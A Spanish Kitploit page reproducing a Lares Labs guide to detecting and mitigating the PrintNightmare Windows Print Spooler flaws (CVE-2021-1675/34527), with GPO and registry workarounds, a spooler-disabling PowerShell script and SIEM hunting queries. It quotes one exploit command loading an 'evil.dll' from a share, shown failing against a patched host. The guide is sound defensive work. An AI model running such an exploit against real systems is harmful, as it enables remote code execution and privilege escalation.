Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-1675 — CVE-2021-1675 Información de detección | Kitploit
Herramientas/GitHubGitHub/laresllc/cve-2021-1675
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAnálisis ForenseAprendizaje y EducaciónRespuesta a IncidentesRecursos Curados
GitHublaresllc/cve-2021-1675

CVE-2021-1675

CVE-2021-1675 Información de detección

Ver Repositorio
21438hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

De Lares Labs: Información de Detección y Corrección para CVE-2021-1675 y CVE-2021-34527

🚨 Parche publicado:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527

Se ha confirmado que el parche corrige RCE, sin embargo la escalada de privilegios local parece no estar parcheada aún. Por lo tanto, las soluciones alternativas enumeradas a continuación siguen siendo recomendadas.

Este repositorio contiene una muestra EVTX del ataque CVE-2021-1675 y CVE-2021-34527, así como un archivo de configuración mínimo de Sysmon que puede utilizarse para generar la telemetría relevante.

Tenga en cuenta que estas reglas pueden ser eludidas; aplique los parches correspondientes y desactive el servicio de cola de impresión en los controladores de dominio.

Pruebe todas las correcciones recomendadas antes de implementarlas en producción, ya que estos cambios de endurecimiento pueden tener consecuencias no deseadas. Hemos redactado una publicación en el blog explicando el contenido de este repositorio y la información encontrada. Aquí: https://labs.lares.com/detection-and-mitigation-printnightmare/

Verificación de vulnerabilidad por Marcello https://twitter.com/byt3bl33d3r

  • https://twitter.com/byt3bl33d3r/status/1412798525323157504

  • https://github.com/byt3bl33d3r/ItWasAllADream

Diagrama de flujo

Gracias a Benjamin Delpy, hay un diagrama de flujo actualizado sobre la explotabilidad de este problema para determinar si sus sistemas son probablemente vulnerables.

Correcciones mostradas en el diagrama de flujo anterior

  1. GPO: Security Settings -> System Services -> Print Spooler -> Disable
    1. Registro: HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4
  2. GPO: Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections -> Disable
    1. Registro: HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2
  3. GPO: Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
    1. Registro: HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0
  4. Registro: HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1

Solución alternativa

El parche publicado por Microsoft en junio de 2021 sí corrige CVE-2021-1675, pero lamentablemente no soluciona el problema conocido como PrintNightmare (CVE-2021-34527). Por lo tanto, se puede aplicar una solución alternativa desactivando el servicio de cola de impresión. A continuación se explica cómo hacerlo tanto en GPO como en PowerShell. Se ha confirmado que el GPO corrige tanto la función MS-RPRN RpcAddPrinterDriverEx como la función Win32 AddPrinterDriverEx que utiliza SharpPrintNightmare.

GPO

El siguiente GPO se puede configurar para denegar las conexiones de clientes al spooler, lo que es una posible solución alternativa cuando desactivar completamente el servicio de cola de impresión no es una opción. Se ha probado contra controladores de dominio y endpoints (W7/W10) en un entorno de laboratorio y los usuarios aún pueden agregar/eliminar impresoras e imprimir, pero detiene la explotación. Nota: También se entiende que este GPO corrige CVE-2021-34527 según lo indicado en la página de vulnerabilidad de Microsoft.

Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections establecer en Deshabilitado:

Luego reinicie el servicio de cola de impresión en el host afectado. Si todo va bien, el exploit tendrá acceso denegado:

root@kitploit:~
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll'                                                                                    1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed

Eliminación de Usuarios Autenticados del Acceso Compatible Pre-Windows 2000

Otra corrección/solución alternativa es eliminar los usuarios autenticados del grupo Pre-Windows 2000 Compatible Access, según lo descubierto por Dirk-jan.

Asegúrese de que los grupos "Usuarios autenticados" no sean miembros del grupo "Acceso compatible con Pre-Windows 2000". (Por defecto, estos grupos no están incluidos en las versiones actuales de Windows.) como se muestra en la captura de pantalla siguiente, no debe haber miembros:

Si tiene dudas sobre cómo hacerlo, se pueden seguir los siguientes pasos:

  1. Abra "Usuarios y equipos de Active Directory" (disponible desde varios menús o ejecute "dsa.msc").
  2. Expanda el dominio que se está revisando en el panel izquierdo y seleccione el contenedor "Builtin".
  3. Haga doble clic en el grupo "Acceso compatible con Pre-Windows 2000" en el panel derecho.
  4. Seleccione la pestaña "Miembros".
  5. Si los grupos "Inicio de sesión anónimo", "Usuarios autenticados" o "Todos" son miembros, seleccione cada uno y haga clic en "Eliminar".

PowerShell

Adaptado el script de 0gtweet para usar ADDomainController y obtener todos los DC del dominio

root@kitploit:~
# el script DETIENE y DESHABILITA el servicio de Cola de impresión (aka #PrintNightmare) en cada servidor de la lista siguiente SOLO SI SOLO EXISTEN IMPRESORAS PREDETERMINADAS.
# revertir si es necesario: vaya a services.msc, busque el servicio "print spooler", cambie el tipo de inicio a "automático" e inicie el servicio.
# Fuente: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requisitos RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory

$computers = Get-ADDomainController -filter * | %{ $_.name }

foreach ($computer in $computers)
{
    Write-Host "Processing $computer ..." 
    $service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
    if (!$service)
    {
        Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
        continue
    }
    if ($service.Status -ne "Running")
    {
        Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
        continue
    }
    $printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
    if (!$printers)
    {
        Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
        continue
    }

    $disableSpooler = $true
    foreach ($DriverName in ($printers.DriverName))
    {
        if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
        {
            Write-Host "  Printer found: $DriverName" -ForegroundColor Green
            $disableSpooler = $false
        }
    }
    if ($disableSpooler)
    {
        Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
        (Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
        Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose

    }
    else
    {
        Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
    }
}

Archivo de Configuración de Sysmon

El archivo de configuración de Sysmon proporcionado CVE-2021-1675.xml se puede instalar con Sysmon Config Pusher: https://github.com/LaresLLC/SysmonConfigPusher

Consultas de Splunk

root@kitploit:~
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)

Enfoque alternativo

Una forma genérica de cazar la explotación de Print Spooler es buscar errores generados por el spooler debido a la carga del DLL de carga útil. Esto se puede hacer buscando la creación de WerFault.exe por spoolsv.exe o la generación del ID de evento 7031 que muestra la terminación inesperada del servicio de cola de impresión.

Consulta alternativa de Splunk

root@kitploit:~
((index=sysmon EventCode=1 
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe") 
OR (index=windows Channel=System EventCode=7031 
Message="The Print Spooler service terminated unexpectedly"))

Enfoque adicional

Después de varias pruebas de explotación de la implementación de cube0x0, se encontró un artefacto adicional: ID de evento 5145 con Share Name: \\*\IPC$ y Relative Target Name: spoolss. Las ventajas de este enfoque son que se puede ver la IP de origen (Source Address) y la cuenta (Security ID o Account Name) utilizadas para realizar el ataque. Puede haber falsos positivos de servidores de impresión reales, pero se pueden filtrar por nombre de host y Access Mask. Puede haber otros falsos positivos que se pueden filtrar mediante la combinación de hostname-username-access mask.

Consulta de Splunk

root@kitploit:~
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss

Consulta KQL para Sentinel / MDE por Olaf Hartong

root@kitploit:~
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000) 
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"

Fuente: https://twitter.com/olafhartong/status/1410229699993874442

Observaciones de Zeek

Herramienta utilizada: https://github.com/cisagov/Malcolm

Transferencia de archivo DLL:

Autenticación NTLM desde la máquina "Atacante":

Llamadas RPC relevantes:

🟢 Archivo PCAP disponible

🟢 Zeek dce_rpc.log

Consulta de Caza de Carbon Black para CVE-2021-1675

Fuente: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md

  • 1 Basado en la regla Sigma para detectar el código POC
root@kitploit:~
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
  • 2 Basado en la regla Sigma para detectar el código POC
root@kitploit:~
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
  • 3 Basado en la regla Sigma para detectar el código POC
root@kitploit:~
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
  • 4 Detectar eventos de archivo (sin firma), ajuste esto a su línea base. No especifiqué la ruta del controlador a propósito aquí, ya que la explotación y la post-explotación aún no están del todo claras. Asegúrese de ajustar esto a su línea base (hash conocido, etc.).
root@kitploit:~
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
  • 5 Detectar eventos de archivo (firmado por no MS), ajuste esto a su línea base
root@kitploit:~
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"

Referencias

Publicaciones en Twitter que hacen referencia a ataques y consultas de caza

  • https://twitter.com/ionstorm/status/1410258694386880518
  • https://twitter.com/dez_/status/1410298162548559875
  • https://twitter.com/markus_neis/status/1410255678996942854
  • https://twitter.com/cyb3rops/status/1410250996362715137
  • https://twitter.com/gentilkiwi/status/1410066827590447108
  • https://twitter.com/wdormann/status/1410198834970599425
  • https://twitter.com/NathanMcNulty/status/1410289115354914820
  • https://twitter.com/mvelazco/status/1410291741241102338
  • https://twitter.com/StanHacked/status/1410527329839980547
  • https://twitter.com/_dirkjan/status/1410618720460754947
  • https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery
  • https://twitter.com/cube0x0/status/1411364227089117185

Observaciones del controlador de dominio versus no controlador de dominio por Benjamin Delpy:

  • https://twitter.com/gentilkiwi/status/1410614489167269892

Diagrama de flujo muy útil por Stan Hegt de Outflank

  • https://twitter.com/StanHacked/status/1410922404252168196

Nueva asignación de CVE de Microsoft:

  • https://twitter.com/msftsecresponse/status/1410768945590636548

Diario SANS ICS:

  • https://isc.sans.edu/forums/diary/CVE20211675+Incomplete+Patch+and+Leaked+RCE+Exploit/27588/
Descargar herramienta